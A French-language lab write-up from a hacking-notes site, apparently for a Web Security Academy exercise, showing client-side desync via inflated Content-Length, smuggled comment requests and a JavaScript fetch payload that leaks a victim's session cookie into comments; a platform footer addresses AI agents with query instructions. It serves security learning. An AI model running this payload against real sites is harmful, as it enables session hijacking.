> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/client-side-desync.md).

# Désynchronisation côté client

### Désynchronisation côté client

Cette salle est vulnérable aux attaques de désynchronisation côté client, car le serveur ignore l'en-tête Content-Length pour certains points de terminaison. Cette faiblesse permet au navigateur de la victime de divulguer son cookie de session. / Objectif de la salle :

1. Identifiez un vecteur de désynchronisation côté client avec Burp, puis vérifiez qu'il est reproductible dans le navigateur.
2. Trouvez un élément de l'application permettant d'injecter ou de stocker du texte.
3. Combinez les deux pour forcer le navigateur de la victime à envoyer une série de requêtes inter-domaines qui divulguent son cookie.
4. Utilisez ce cookie pour accéder au compte de la victime.

#### **Analyse du comportement du serveur**

En envoyant une requête avec un Content-Length délibérément gonflé, le serveur l'ignore et traite à la place le contenu suivant comme une nouvelle requête :

```http
POST / HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

GET /error HTTP/1.1
Test : bonjour
```

Cette réaction confirme l'existence d'une désynchronisation côté client.

<figure><img src="/files/2e8f1d47e6ef58dd1ced1e4e9f9b2b6eb5cb02b9" alt=""><figcaption></figcaption></figure>

#### **Démonstration de la désynchronisation**

En configurant deux requêtes dans Burp (l'une simulant le client, l'autre l'attaque) et en les envoyant à la suite, la réponse d'erreur destinée à l'attaquant est envoyée au client légitime.

<figure><img src="/files/fb2486b41fee417394022a772c80dc5d6587c50e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/736d2807f760514ee424976dc7f7d05f76f36998" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5cbee227e20be575ff6213eba292d5c4ffedc608" alt=""><figcaption></figcaption></figure>

Cela montre que le serveur désynchronise les flux HTTP.

<figure><img src="/files/5789f848c0343f6d90deeaeeca8e2b33b1e8baf3" alt=""><figcaption></figcaption></figure>

#### **Exfiltration du cookie de la victime**

Pour forcer le navigateur de la victime à divulguer son cookie de session, nous ciblons la fonctionnalité de commentaire, qui permet de stocker du texte dans l'application.

<figure><img src="/files/9e0a6ca204283eecdeb4663630dd075b7ede9405" alt=""><figcaption></figcaption></figure>

Envoyez une requête de commentaire avec un Content-Length gonflé :

```http
POST /en/post/comment HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&comment=tst&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com
```

```http
csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com&comment=tst
```

En augmentant ce champ (par exemple à 500), le commentaire publié révèle alors le cookie de session du compte connecté.

<figure><img src="/files/a6f5c3abbc1adcb5370fe72af92d4340f0fb22e0" alt=""><figcaption></figcaption></figure>

#### **Automatisation via un script JavaScript**

Pour transformer l'attaque en un exploit utilisable par la victime, on construit une requête dissimulée encapsulée dans un script :

```javascript
<script>
smuggledRequest = [
    "POST /en/post/comment HTTP/1.1",
    "Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net",
    "Cookie: session=beALzw9m2Bqn8tBscGI4yK0O6TMWbOuz",
    "Content-Type: application/x-www-form-urlencoded",
    "Content-Length: 850",
    "",
    "csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=4&name=test&email=test@test.com&website=https://test.com&comment=test"
].join('/r/n')

fetch("https://0a69005a041eb75c828761ef00630000.h1-web-security-academy.net", {
    method: "POST",
    body: smuggledRequest,
    credentials: 'include',
    mode: 'no-cors'
});
</script>
```

Cette charge utile entraîne l'envoi automatique de la requête dissimulée par le navigateur de la victime.

<figure><img src="/files/1a1ce8baf18f85d2c3dddbab89b97c02ecd66410" alt=""><figcaption></figcaption></figure>

Le cookie de session volé apparaît alors dans la section des commentaires.

<figure><img src="/files/b3ba5c4215cbff4c0c58ea5b14c8335e166f05b9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/client-side-desync.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
